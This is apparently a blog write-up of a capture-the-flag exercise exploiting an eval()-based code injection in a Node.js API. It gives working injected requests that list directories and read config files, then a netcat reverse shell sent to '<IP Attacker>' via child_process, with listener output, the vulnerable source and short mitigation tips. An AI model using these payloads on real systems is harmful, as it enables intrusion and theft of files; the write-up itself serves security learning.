Node.js RCE and a simple reverse shell -CTF

Security Problem

Discovery and Information Gathering

GET /api/order/from/1/range/2 HTTP/1.1Response:
{
"statusCode":200,
"data":
{"from":"1","to":3},
"message":"Parameters accepted."
}

Proof of eval() function

GET /api/order/from/1/range/"d" HTTP/1.1Response: 
{
"statusCode":200,
"data":
{"from":"1","to":"1d"},
"message":"Parameters accepted."
}

Know your weapons

Process — global Node.js object

GET /api/order/from/1/range/process.cwd() HTTP/1.1
{"statusCode":200,
"data":
{"from":"1","to":"1/app"},
"message":"Parameters accepted."
}

fs class

readdir()

require('fs').readdirSync('.').toString()
require('fs').readdirSync('..').toString()
GET /api/order/from/1/range/var fs=require("fs");fs.readdirSync("/app").toString('utf8') HTTP/1.1

readFile()

require('fs').readFileSync(<filename>)
GET /api/order/from/1/range/var fs=require("fs");fs.readFileSync("/app/configs/index.js").toString('utf8') HTTP/1.1
Read File via readFileSync Function from FS Node.js class

Child Process

Ncat

# nc -lvp 4445
# nc <IP Attacker> <Port> -e /bin/bash
# nc <IP Attacker> <Port> -e /bin/sh

Reverse Shell with child_process.execSync(command[,options])

/api/order/from/1/range/require("child_process").exec('nc <IP Attacker> 4445 -e /bin/sh')
/api/order/from/1/range/require("child_process").exec('nc%20<IP Attacker>%204445%20-e%20%2Fbin%2Fsh')
# nc -lvp 4445
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from [...]
Ncat: Connection from [...]:40924.
/app # ls -la
total 356
drwxr-xr-x 15 root root 4096 Oct 12 2018 .
drwxr-xr-x 22 root root 253 Nov 18 07:45 ..
-rw-r--r-- 1 root root 2370 Oct 12 2018 app.js
drwxr-xr-x 8 root root 136 Oct 12 2018 assets
drwxr-xr-x 2 root root 17 Oct 12 2018 bin
drwxr-xr-x 2 root root 22 Oct 12 2018 configs

...
function getFromTo(from, range, callback) {
let fromResult = from;
let toResult;
if(process.env.NODE_RCE_EVAL.toLowerCase() === 'on') {
toResult = eval(from + "+ "+ range);
} else {
toResult = parseInt(from) + parseInt(range);
}
let result = { from: fromResult, to: toResult };
return callback(null, ResponseUtil.createSuccessResponse(result, ‘Parameters accepted.’));
}

Mitigation

  • Always validate user input on server side before processing the data
  • Do not use eval() function to parse user inputs. There exist similar commands which should be avoided in general (such as setTimeOut(), setInterval(), etc.)
  • Conduct Code Reviews

--

--

--

Working in Infosec. Interested in many things, from technical perspective -> security, ctfs, coding, reverse engineering,… and in general -> love life. She.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

NodeJS : single threaded, non-blocking, async, have callback queue and event loop.

PyScript: The New Kid on the Block

Front-end Form Validation in React

React Native todo app with Redux

LeetCode Algorithm Challenge: Plus One —I Wish It Could Be That Simple

React: render optimization for Material UI collapsible list using Hooks and Memo.

ReactJS: Lessons learned from the mistakes I made

Serving Apple App Site Association file using Nginx for React Apps

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
CurlS

CurlS

Working in Infosec. Interested in many things, from technical perspective -> security, ctfs, coding, reverse engineering,… and in general -> love life. She.

More from Medium

Check Text Input for SQL Injection (SQLI) Attacks in Node.js

Deploy WordPress on Docker

Publish Maven and Docker Packages to Github

Basic Auth only for a specific domain